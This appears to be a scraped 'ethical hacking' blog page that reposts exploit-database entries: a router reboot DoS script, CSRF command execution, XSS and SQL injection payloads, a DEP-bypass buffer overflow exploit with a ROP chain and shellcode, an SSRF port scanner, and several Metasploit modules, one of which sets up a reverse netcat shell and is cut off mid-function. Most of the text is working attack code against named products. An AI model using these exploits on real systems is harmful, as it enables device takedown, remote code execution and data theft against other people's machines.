#!/usr/bin/env python
#
#
# Telesquare SKT LTE Router SDT-CS3B1 Remote Reboot Denial Of Service
#
#
# Vendor: Telesquare Co., Ltd.
# Product web page: http://www.telesquare.co.kr
# Affected version: FwVer: SDT-CS3B1, sw version 1.2.0
# LteVer: ML300S5XEA41_090 1 0.1.0
# Modem model: PM-L300S
#
# Summary: We introduce SDT-CS3B1 LTE router which is a SKT 3G and 4G
# LTE wireless communication based LTE router product.
#
# Desc: The router suffers from an unauthenticated reboot command execution.
# Attackers can exploit this issue to cause a denial of service scenario.
#
# --------------------------------------------------------------------
# /lte/lteuicc.shtml:
# -------------------
#
# 858: function RebootRequest()
# 859: {
# 860: var url = "../cgi-bin/lte.cgi?";
# 861: var param = "Command=Reboot";
# 862: XHRPost(RebootHandle, url, param, false ); //sync call
# 863: }
#
# --------------------------------------------------------------------
#
# Tested on: lighttpd/1.4.20
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2017-5444
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5444.php
#
#
# 22.12.2017
#
import sys, requests
if len(sys.argv) < 2:
print 'SKT LTE Router SDT-CS3B1 Remote Reboot'
print 'Usage: b00t.py <ip> <port>\n'
quit()
ip = sys.argv[1]
port = sys.argv[2]
r = requests.get("http://"+ip+":"+port+"/cgi-bin/lte.cgi?Command=Reboot")
# shw: while true; do ./b00t.py 10.0.0.17 8081; sleep 20; done
#print r.content #if in r.content: <xml></xml>, reboot true.
print "Router rebooted."
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863555930
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
Telesquare SKT LTE Router SDT-CS3B1 CSRF System Command Execution
Vendor: Telesquare Co., Ltd.
Product web page: http://www.telesquare.co.kr
Affected version: FwVer: SDT-CS3B1, sw version 1.2.0
LteVer: ML300S5XEA41_090 1 0.1.0
Modem model: PM-L300S
Summary: We introduce SDT-CS3B1 LTE router which is a SKT 3G and 4G
LTE wireless communication based LTE router product.
Desc: The router suffers from authenticated arbitrary system command
execution. The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks to
verify the requests. This can be exploited to perform certain actions
with administrative privileges if a logged-in user visits a malicious
web site.
Tested on: lighttpd/1.4.20
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2017-5443
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5443.php
22.12.2017
--
IDOR for system command interface:
----------------------------------
GET /admin/system_command.shtml HTTP/1.1
PoC GET CSRF request:
---------------------
<html>
<body>
<form action="http://10.0.0.17:8081/cgi-bin/admin.cgi">
<input type="hidden" name="Command" value="sysCommand" />
<input type="hidden" name="Cmd" value="uname%20-a" />
<input type="hidden" name="T" value="8168008531337" />
<input type="submit" value="Send" />
</form>
</body>
</html>
Easy!Appointments v1.2.1 Multiple Stored XSS Vulnerabilities
Vendor: Alex Tselegidis
Product web page: http://www.easyappointments.org
Affected version: 1.2.1
Summary: Easy!Appointments is a highly customizable web application
that allows your customers to book appointments with you via the web.
Moreover, it provides the ability to sync your data with Google Calendar
so you can use them with other services. It is an open source project
and you can download and install it even for commercial use. Easy!Appointments
will run smoothly with your existing website, because it can be installed
in a single folder of the server and of course, both sites can share
the same database. Learn more about the project in the Features page.
Desc: The application suffers from multiple stored and reflected XSS
vulnerabilities. The issues are triggered when an unauthorized input
passed via multiple POST and GET parameters is not properly sanitized
before being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in context
of an affected site.
Tested on: Apache/2.4.23 (Win32)
OpenSSL/1.0.2h
MariaDB-10.1.19
PHP/5.6.28
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2017-5442
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5442.php
20.10.2017
--
PoC:
{"name":"XSS1","description":"Description"}
<html>
<body>
<form action="http://10.211.55.3/easyappointments121/index.php/backend_api/ajax_save_service_category" method="POST">
<input type="hidden" name="csrfToken" value="f5300ab64a4fae7bc3e56f2502905459" />
<input type="hidden" name="category" value="{"name":"XSS1","description":"Description"}" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
---
<html>
<body>
<form action="http://10.211.55.3/easyappointments121/index.php/appointments/ajax_get_available_hours" method="POST">
<input type="hidden" name="csrfToken" value="f5300ab64a4fae7bc3e56f2502905459" />
<input type="hidden" name="service_id" value='"><script>alert(2)</script>' />
<input type="hidden" name="provider_id" value="85" />
<input type="hidden" name="selected_date" value="2017-11-30" />
<input type="hidden" name="service_duration" value="30" />
<input type="hidden" name="manage_mode" value="false" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
---
<html>
<body>
<form action="http://10.211.55.3/easyappointments121/index.php/appointments/ajax_get_available_hours" method="POST">
<input type="hidden" name="csrfToken" value="f5300ab64a4fae7bc3e56f2502905459" />
<input type="hidden" name="service_id" value="13" />
<input type="hidden" name="provider_id" value="85" />
<input type="hidden" name="selected_date" value="<marquee>" />
<input type="hidden" name="service_duration" value="30" />
<input type="hidden" name="manage_mode" value="false" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
---
<html>
<body>
<form action="http://10.211.55.3/easyappointments121/index.php/appointments/ajax_register_appointment" method="POST">
<input type="hidden" name="csrfToken" value="f5300ab64a4fae7bc3e56f2502905459" />
<input type="hidden" name="post_data[customer][last_name]" value="sdadsd" />
<input type="hidden" name="post_data[customer][first_name]" value="asdasd" />
<input type="hidden" name="post_data[customer][email]" value="asdasd@bbb.dd" />
<input type="hidden" name="post_data[customer][phone_number]" value="1112223333" />
<input type="hidden" name="post_data[customer][address]" value="" />
<input type="hidden" name="post_data[customer][city]" value="" />
<input type="hidden" name="post_data[customer][zip_code]" value="" />
<input type="hidden" name="post_data[appointment][start_datetime]" value=""><script>alert(3)</script>" />
<input type="hidden" name="post_data[appointment][end_datetime]" value="2017-11-30 16:00:00" />
<input type="hidden" name="post_data[appointment][notes]" value="" />
<input type="hidden" name="post_data[appointment][is_unavailable]" value="false" />
<input type="hidden" name="post_data[appointment][id_users_provider]" value="85" />
<input type="hidden" name="post_data[appointment][id_services]" value="13" />
<input type="hidden" name="post_data[manage_mode]" value="false" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Telesquare SKT LTE Router SDT-CS3B1 Insecure Direct Object Reference Info Leak
Vendor: Telesquare Co., Ltd.
Product web page: http://www.telesquare.co.kr
Affected version: FwVer: SDT-CS3B1, sw version 1.2.0
LteVer: ML300S5XEA41_090 1 0.1.0
Modem model: PM-L300S
Summary: We introduce SDT-CS3B1 LTE router which is a SKT 3G and 4G
LTE wireless communication based LTE router product.
Desc: Insecure direct object references occur when an application
provides direct access to objects based on user-supplied input. As
a result of this vulnerability attackers can bypass authorization
and access resources and functionalities in the system.
Tested on: lighttpd/1.4.20
Linux mips
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2017-5445
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5445.php
22.12.2017
--
/home.html << Version and status info leak (firmware, device, type, modem, lte)
/index.html << Version and status info leak (firmware, device, type, modem, lte)
/nas/smbsrv.shtml << Samba server settings (workgroup, netbios name)
/nas/ftpsrv.shtml << FTP settings
/wifi2g/basic.shtml << Wireless settings
/admin/status.shtml << Access point status info leak
/internet/wan.shtml << WAN settings info leak (wanip, subnet, gateway, macaddr, lteipaddr, dns)
/internet/lan.shtml << LAN settings info leak (dhcpip, lanip, macaddr, gateway, subnet, dns)
/admin/statistic.shtml << System statistics info leak
/admin/management.shtml << System management (account settings, ntp settings, ddns settings)
/serial/serial_direct.shtml << Direct serial settings (network connection settings, serverip, port)
/admin/system_command.shtml << System command interface
/internet/dhcpcliinfo.shtml << DHCP Clients info leak (hostname, macaddr, ipaddr)
/admin/upload_firmware.shtml << Router firmware and lte firmware upgrade
/firewall/vpn_futuresystem.shtml << VPN settings (udp packet transfer, icmp check)
/cgi-bin/lte.cgi?Command=getUiccState << GetUiccState()
/cgi-bin/lte.cgi?Command=getModemStatus << Modem status info leak
/cgi-bin/systemutil.cgi?Command=SystemInfo << System info leak
# Exploit Title: SysGauge Server 3.6.18 - DOS
# Date: 2017-10-20
# Exploit Author: Ahmad Mahfouz
# Software Link: hhttp://www.sysgauge.com/setups/sysgaugesrv_setup_v3.6.18.exe
# Version: v3.6.18
# Category; Windows Remote DOS
# CVE: CVE-2017-15667
# Author Homepage: www.unixawy.com
# Description: SysGauge Server 3.6.18 the Control Protocl suffers from a denial of service. The attack vector is a crafted SERVER_GET_INFO packet sent to control port 9221.
#!/usr/bin/env python
import socket
target = "192.168.72.133"
port = 9221
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,port))
packet = "\x75\x19\xba\xab\x03"
packet +="\x00\x00\x00\x01\x00\x00\x00\x1a"
packet += "\x00"
packet += "\x3e"
packet += "\x00"
packet += "\x20"
packet += "\x00"
packet += "\x00"
packet += "\x00"
packet += "\x00\x00\x00\x00"
packet += "SERVER_GET_INFO"
packet += "\x02\x32\x01"
packet += "Data"
packet += "\x01\x30\x01\x00"
packet += "\x04\x02\x74"
packet += "\x18\x18\x00"
s.send(packet)
try:
data = s.recv(100)
except:
print "K1LL3D"
# Exploit Title: SAP BusinessObjects launch pad SSRF
# Date: 2017-11-8
# Exploit Author: Ahmad Mahfouz
# Category: Webapps
# Author Homepage: www.unixawy.com
# Description: Design Error in SAP BusinessObjects launch pad leads to SSRF attack
#!/usr/bin/env python
# SAP BusinessObjects launch pad SSRF Timing Attack Port scan
# usage : sblpta.py http://path.faces targetIP targetPort
import urllib2
import urllib
import ssl
from datetime import datetime
import sys
if len(sys.argv) != 4:
print "Usage: python sblpta.py http://path.faces targetIP targetPort"
sys.exit(1)
url = sys.argv[1]
targetIP = sys.argv[2]
targetPort = sys.argv[3]
targetHostIP = "%s:%s" %(targetIP,targetPort)
print "\r\n"
print "[*] SAP BusinessObjects Timing Attack"
headers = {'User-Agent': 'Mozilla/5.0'}
gcontext = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
try:
request = urllib2.Request(url, headers=headers)
page = urllib2.urlopen(request, context=gcontext)
print "[*] Connected to SAP Bussiness Object %s" %url
except:
print "[-] Failed To connect to SAP Bussiness Object %s" %url
print "[*] SAP Bussiness Object Link example: http://domain:port/BZ/portal/95000047/InfoView/logon.faces"
sys.exit(2)
resheaders = page.info()
cookie = resheaders.dict['set-cookie']
content = page.readlines()
for line in content:
if "com.sun.faces.VIEW" in line:
sfview = line.split("=")[4].split("\"")[1]
print "[*] Got java faces dynamic value"
else:
continue
if not sfview:
print "[-] Failed to java faces dynamic value, are you sure you extracted the java faces form from the link ??"
sys.exit(3)
formdata = {"_id0:logon:CMS":targetHostIP,
"_id0:logon:USERNAME":"",
"_id0:logon:PASSWORD":"",
"com.sun.faces.VIEW":sfview,
"_id0":"_id0"
}
data_encode = urllib.urlencode(formdata)
start = datetime.now()
print "[*] Testing Timing Attack %s" %start
request = urllib2.Request(url,data_encode)
request.add_header('Cookie', cookie)
response = urllib2.urlopen(request)
end = datetime.now()
the_page = response.read()
if "FWM" in the_page:
elapsedTime = end-start
if elapsedTime.total_seconds() >= 10:
print "[*] Port %s is Open, Gotcha !!! " %targetPort
else:
print "[*] Port %s is Closed , we die fast" %targetPort
elif "FWC" in the_page:
print "[-] error login expired"
sys.exit(10)
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'ALLMediaServer 0.95 Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in ALLMediaServer 0.95.
The vulnerability is caused due to a boundary error within the
handling of HTTP request.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Anurag Srivastava', # Remote exploit and Metasploit module
],
'References' =>
[
[ 'EDB', '43406' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process', #none/process/thread/seh
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "",
'Space' => 660,
'DisableNops' => true
},
'Targets' =>
[
[ 'ALLMediaServer 0.95 / Windows XP SP3 - English',
{
'Ret' => 0x00408315, # POP # POP # POP # RET
'Offset' => 1072
}
],
[ 'ALLMediaServer 0.95 / Windows 7 SP1 - English',
{
'Ret' => 0x00408315, # POP # POP # POP # RET
'Offset' => 1072
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Dec 28 2017',
'DefaultTarget' => 1))
register_options([Opt::RPORT(888)], self.class)
end
def exploit
connect
buffer = ""
buffer << make_nops(target['Offset'])
buffer << generate_seh_record(target.ret)
buffer << make_nops(19)
buffer << payload.encoded
print_status("Sending payload ...")
sock.put(buffer)
handler
disconnect
end
end
# Exploit Title: DotNetNuke DreamSlider Arbitrary File Download
# Date: 23/01/2014
# Author: Glafkos Charalambous
# Version: 01.01.02
# Vendor: DreamSlider
# Vendor URL: http://www.dreamslider.com/
# Google Dork: inurl:/DesktopModules/DreamSlider/
# CVE:
#
# Description
# DotNetNuke DreamSlider Module prior to version X suffer from a remote unauthenticated arbitrary file download vulnerability
#
# Vulnerable Code
#
# namespace DotNetNuke.Modules.DreamSlider
# {
# using System;
# using System.IO;
# using System.Web.SessionState;
# using System.Web.UI;
#
# public class DownloadProvider : Page, IRequiresSessionState
# {
# protected void Page_Load(object sender, EventArgs e)
# {
# if (!base.IsPostBack && (base.Request.QueryString["File"] != null))
# {
# string path = base.Request.QueryString["File"];
# string fileName = Path.GetFileName(path);
# base.Response.ContentType = "application/octet-stream";
# base.Response.AddHeader("Content-Disposition", "attachment; filename=" + fileName);
# base.Response.WriteFile(path);
# base.Response.End();
# }
# }
# }
# }
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
Rank = ExcellentRanking
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'DotNetNuke DreamSlider Arbitrary File Download',
'Description' => %q{
This module exploits an unauthenticated arbitrary file download vulnerability in DNN
DreamSlider version 01.01.02 and below.
},
'Author' =>
[
'Glafkos Charalambous', # Discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://metasploit.com' ]
],
'DisclosureDate' => 'Mar 23 2015'))
register_options(
[
Opt::RPORT(80),
OptString.new('FILENAME', [true, 'File to download', '~/web.config']),
OptString.new('PATH', [true, 'Path of DNN Nuke', '/']),
], self.class)
end
def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['PATH'],"/DesktopModules/DreamSlider/DownloadProvider.aspx"),
'cookie' => datastore['Cookie'],
})
if res && res.code == 200 and res.body.to_s =~ /Download Provider/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
Exploit::CheckCode::Safe
end
end
def run
begin
print_status("#{peer} - Downloading file #{datastore['FILENAME']}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['PATH'],"/DesktopModules/DreamSlider/DownloadProvider.aspx?File=") + datastore['FILENAME'],
'cookie' => datastore['Cookie'],
})
rescue Rex::ConnectionError
print_error("#{peer} - Could not connect.")
return
end
if res && res.code == 200
if res.body.to_s.bytesize == 0
print_error("#{peer} - 0 bytes returned, file does not exist or it is empty.")
return
end
fileName = datastore['FILENAME']
path = store_loot(
'ds.http',
'application/octet-stream',
datastore['RHOST'],
res.body,
fileName
)
print_good("#{peer} - File saved in: #{path}")
else
print_error("#{peer} - Failed to download file.")
end
end
end
# Exploit Title: Buffer overflow in ALLPlayer ALLMediaServer 0.95 and earlier
# CVE: CVE-2017-17932
# Date: 27-12-2017
# Exploit Author: Aloyce J. Makalanga
# Contact: https://twitter.com/aloycemjr
# Vendor Homepage: http://www.allmediaserver.org/
# Category: webapps
# Attack Type: Remote
# Impact: Code execution and/or Denial of Service
#1. Description
#
#A buffer overflow vulnerability exists in MediaServer.exe in ALLPlayer ALLMediaServer 0.95 and earlier that could allow remote attackers to execute arbitrary code and/or cause denial of service on the victim machine/computer via a long string to TCP port 88. Te exploit this vulnerability, an attacker must connect to the server with a long-malicious string.
#
#
#2. Proof of Concept
#
#!/usr/bin/python
#NOTE: I found this bug via patch-diffing and I had IDA Pro set up as my Just-In-Time debugger at the time of the crash but any debugger should work.
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.205.131', 888))
buffer = "A" * 3000
s.send(buffer)
s.close()
if __name__ == '__main__':
import socket
main()
# Exploit Title: PHP Melody v2.7.1 - SQL Injection
# Date: 30/12/2017
# Exploit Author: Ahmad Mahfouz
# Contact: http://twitter.com/eln1x
# Vendor Homepage: http://www.phpsugar.com/ Buy http://www.phpsugar.com/phpmelody_order.html
# Version: 2.7.1
# Tested on: Mac OS
#
# SQL Injection Type: time-based blind
# Parameter: playlist
# Page: ajax.php
# URL: http://target.com/ajax.php?p=video&do=getplayer&vid=[VALID_VIDO_ID]&aid=1&player=detail&playlist=[SQLi]
GET /ajax.php?p=video&do=getplayer&vid=randomid&aid=1&player=detail&playlist='+(select*from(select(sleep(20)))a)+' HTTP/1.1
Host: localhost
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
#!/usr/bin/python
# Exploit Title: Buffer overflow in NetTransport Download Manager - Version 2.96L (DEP Bypass)
# CVE: CVE-2017-17968
# Date: 28-12-2017
# Software Link: http://xi-soft.com/downloads/NXSetup_x86.zip
# Exploit Author: Author: Aloyce J. Makalanga
# Contact: https://twitter.com/aloycemjr
# Vendor Homepage: http://xi-soft.com/default.htm
# Category: webapps
# Impact: Code execution
#1. Description
#
#A buffer overflow vulnerability in NetTransport.exe in NetTransport Download Manager 2.96L and earlier could allow remote HTTP servers to execute arbitrary code on NAS devices via a long HTTP response. To exploit this vulnerability, an attacker needs to issue a malicious-crafted payload in the HTTP Response Header. A successful attack could result in code execution
#
#2. Proof of Concept
#
#!/usr/bin/pythion
def main():
host = "192.168.205.131"
port = 80
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(1)
print "\n[+] Listening on %d ..." % port
cl, addr = s.accept()
print "[+] Connection accepted from %s" % addr[0]
#Disabling DEP by VirtualProtect()
def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
0x10001653, # POP EAX # RETN [libssl.dll]
0x00485ed3,# MOV EAX,DWORD PTR DS:[ECX] # POP EDI # POP ESI # POP EBP # POP ECX # RETN 0x04 [NetTransport.exe]
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x00496596, # XCHG EAX,ESI # RETN 0x0A [NetTransport.exe]
0x41414141, # Filler (RETN offset compensation)
0x004ea919, # POP EBP # RETN [NetTransport.exe]
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (RETN offset compensation)
0x4141, # Filler (RETN offset compensation)
0x004608df, # & push esp # ret [NetTransport.exe]
0x0045e75f, # POP EBX # RETN [NetTransport.exe]
0x00000201, # 0x00000201-> ebx
0x00554dbc, # POP ECX # RETN [NetTransport.exe]
0x00000040, # 0x00000040-> edx
0x00499c92, # XOR EDX,EDX # RETN 0x04 [NetTransport.exe]
0x0041254c, # ADC EDX,ECX # POP EBX # ADD ESP,0C # RETN 0x04 [NetTransport.exe]
0x41414141, # Filler (RETN offset compensation)
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x0054e559, # POP ECX # RETN [NetTransport.exe]
0x41414141, # Filler (RETN offset compensation)
0x10004b93, # &Writable location [libssl.dll]
0x0050343f, # POP EDI # RETN [NetTransport.exe]
0x00487073, # RETN (ROP NOP) [NetTransport.exe]
0x10001653, # POP EAX # RETN [libssl.dll]
0x90909090, # nop
0x00486f78, # PUSHAD # RETN [NetTransport.exe]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
rop_chain = create_rop_chain()
#Tiny calc.exe shellcode
shellcode = (
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +
"\x1c\x39\xbd"
)
MaxSize = 60000
EAX_overwrite= "A"*16739 #Always trigger a crash at EAX
#EIP 004E7828
#evil = "\x28\x78\x4E\x90"
rop = rop_chain
nops = "\x90"*10
pads = "C"*(MaxSize - len(EAX_overwrite + rop + nops + shellcode))
payload = EAX_overwrite + rop + nops + shellcode + pads
buffer = "HTTP/1.1 200 " + payload + "\r\n"
print cl.recv(1000)
cl.send(buffer)
print "[+] Sending buffer: OK\n"
cl.close()
s.close()
if __name__ == '__main__':
import struct
import socket
main()
#3. Solution:
#
#No solution available at the moment.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
'Name' => "HP Mercury LoadRunner Agent magentproc.exe Remote Command Execution",
'Description' => %q{
This module exploits a remote command execution vulnerablity in HP LoadRunner before 9.50
and also HP Performance Center before 9.50. HP LoadRunner 12.53 and other versions are
also most likely vulneable if the (non-default) SSL option is turned off.
By sending a specially crafted packet, an attacker can execute commands remotely.
The service is vulnerable provided the Secure Channel feature is disabled (default).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Original discovery # From Tenable Network Security
'aushack' # metasploit module
],
'References' =>
[
['CVE', '2010-1549'],
['ZDI', '10-080'],
['BID', '39965'],
['URL', 'https://support.hpe.com/hpsc/doc/public/display?docId=c00912968']
],
'Payload' => { 'BadChars' => "\x0d\x0a\x00" },
'Platform' => 'win',
'Targets' =>
[
# Note: software reportedly supports Linux - may also be vulnerable.
['Windows (Dropper)',
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64]
],
],
'Privileged' => false,
'Stance' => Msf::Exploit::Stance::Aggressive,
'DisclosureDate' => 'May 06 2010',
'DefaultTarget' => 0))
register_options([Opt::RPORT(54345)])
end
def autofilter
true
end
def execute_command(cmd, _opts = {})
guid = Rex::Text.encode_base64(Rex::Text.rand_text_alphanumeric(17))
randstr = Rex::Text.rand_text_alpha(16)
server_name = Rex::Text.rand_text_alpha(7)
server_ip = datastore['LHOST']
server_port = Rex::Text.rand_text_numeric(4)
# If linux is one day supported, cmd1 = /bin/sh and cmd2 = -c cmd
cmd1 = "C:\\Windows\\system32\\cmd.exe"
cmd2 = "/C \"#{cmd}\""
pkt1 = [0x19].pack('N') + guid + '0'
pkt2 = [0x6].pack('N') + [0x0].pack('N') + "(-server_type=8)(-server_name=#{server_name})(-server_full_name=#{server_name})"
pkt2 << "(-server_ip_name=#{server_ip})(-server_port=#{server_port})(-server_fd_secondary=4)(-guid_identifier=#{guid})\x00\x00"
pkt2 << [0x7530].pack('N')
pkt3 = [4 + pkt2.length].pack('N') + pkt2
pkt4 = [0x1c].pack('N') + [0x05].pack('N') + [0x01].pack('N') + randstr + pkt3
pkt5 = [pkt4.length].pack('N') + pkt4
pkt6 = [0x437].pack('N') + [0x0].pack('N') + [0x31].pack('N') + [1].pack('N') + [0x31000000].pack('N')
pkt6 << [cmd1.length].pack('N') + cmd1 + "\x00" + [cmd2.length].pack('N') + cmd2 + [0x0].pack('N') + [0x0].pack('N')
pkt7 = [4 + pkt6.length].pack('N') + pkt6
pkt8 = [0x18].pack('N') + [0x04].pack('N') + randstr + pkt7
pkt9 = [pkt8.length].pack('N') + pkt8
sploit = pkt1 + pkt5 + pkt9
connect
sock.put(sploit)
disconnect
end
def exploit
print_status('Sending payload...')
execute_cmdstager(linemax: 1500)
end
end
#!/usr/bin/python
#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: D3DGear 5.00 Build 2175 - Buffer Overflow
# Date: 07-11-2017
# Vulnerable Software: D3DGear 5.00 Build 2175
# Vendor Homepage: http://www.d3dgear.com/
# Version: 5.00 Build 2175
# Software Link: http://www.d3dgear.com/products.htm
# Tested On: Windows 7 x86
#
#
# PoC: generate crash.txt, open program, select broadcast, paste crash.txt contents in stream key
#
# app crashes; 00420042 Pointer to next SEH record; no eip overwrite; one unicode ppr pointer
#
file = "crash.txt"
buffer = "A"* 1284 + "B"*4
writeFile = open (file, "w")
writeFile.write( buffer )
writeFile.close()
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => "Cambium ePMP1000 'ping' Shell via Command Injection (up to v2.5)",
'Description' => %{
This module exploits an OS Command Injection vulnerability in Cambium
ePMP1000 device management portal. It requires any one of the following login
credentials - admin/admin, installer/installer, home/home - to set up a reverse
netcat shell.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
],
'References' =>
[
['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/'],
['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83']
],
'Privileged' => true,
'Targets' =>
[
['EPMP',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
]
],
'DisclosureDate' => 'Nov 28 2015',
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' })
)
register_options(
[
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])
], self.class
)
deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')
end
#
# Fingerprinting
#
def is_app_epmp1000?
begin
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET'
}
)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
return false
end
good_response = (
res &&
res.code == 200 &&
(res.body.include?('cambium.min.css') || res.body.include?('cambiumnetworks.com') && res.body.include?('https://support.cambiumnetworks.com/files/epmp/'))
)
if good_response
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
if !get_epmp_ver.nil?
epmp_ver = get_epmp_ver[1]
if !epmp_ver.nil?
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
return true, epmp_ver
else
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
epmp_ver = ''
return true, epmp_ver
end
end
else
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. The target is not vulnerable.")
epmp_ver = nil
return false
end
end
#
# check
#
def check
success, epmp_ver = is_app_epmp1000?
if (success != 'false' && !epmp_ver.nil? && epmp_ver < '2.5')
return CheckCode::Vulnerable
else
return CheckCode::Safe # Using 'Safe' here to imply this ver is not exploitable using ~the module~'
end
end
#
# Login
#
def login(user, pass)
res = send_request_cgi(
{
'uri' => '/cgi-bin/luci',
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Accept' => 'application/json, text/javascript, */*; q=0.01'
},
'vars_post' =>
{
'username' => 'dashboard',
'password' => ''
}
}
)
cookies = res.get_cookies_parsed
check_sysauth = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
good_response = (
res &&
res.code == 200 &&
check_sysauth.include?('sysauth')
)
if good_response
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
cookie1 = "#{sysauth_value}" + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
res = send_request_cgi(
{
'uri' => '/cgi-bin/luci',
'method' => 'POST',
'cookie' => cookie1,
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Accept' => 'application/json, text/javascript, */*; q=0.01',
'Connection' => 'close'
},
'vars_post' =>
{
'username' => user,
'password' => pass
}
}
)
cookies = res.get_cookies_parsed
good_response = (
res &&
res.code == 200 &&
!res.body.include?('auth_failed')
)
if good_response
